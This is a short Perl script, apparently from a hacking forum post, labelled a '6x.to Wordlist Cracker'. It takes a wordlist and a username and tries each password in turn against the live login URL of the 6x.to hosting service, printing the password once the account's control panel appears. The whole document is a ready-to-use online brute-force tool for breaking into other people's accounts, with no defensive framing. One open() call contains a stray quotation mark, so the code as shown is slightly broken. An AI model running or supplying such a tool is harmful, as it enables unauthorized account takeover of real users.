[php]
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
print "#################################\n";
print "# 6x.to Wordlist Cracker #\n";
print "# fred777 and thx to h0yt3r #\n";
print "# Usage [PATH] [USERNAME] #\n";
print "#################################\n";
system("Pause");
my $ua = LWP::UserAgent->new();
my $path = shift or die("Usage $0 [Path] [Username]\n");
my $user = shift or die("Pls specifly a Username\n");
open (LIST,'<‚,$path) or die "File doesnt exist\n";
foreach my $password (<LIST>) {
$password =~ s/\n//;
my $resp = $ua->get ("http://www.6x.to/edit.php?user=$user&domain=6x.to&pass=$password&action=login");
die("Request failed\n")
unless ($resp->is_success);
if ($resp->content =~ /Controlpanel for/) {
print "$user.6x.to cracked\n";
print "password is: $password\n";
last;
} else {
print $password."\n";
}
}
system("Pause");
[/php]
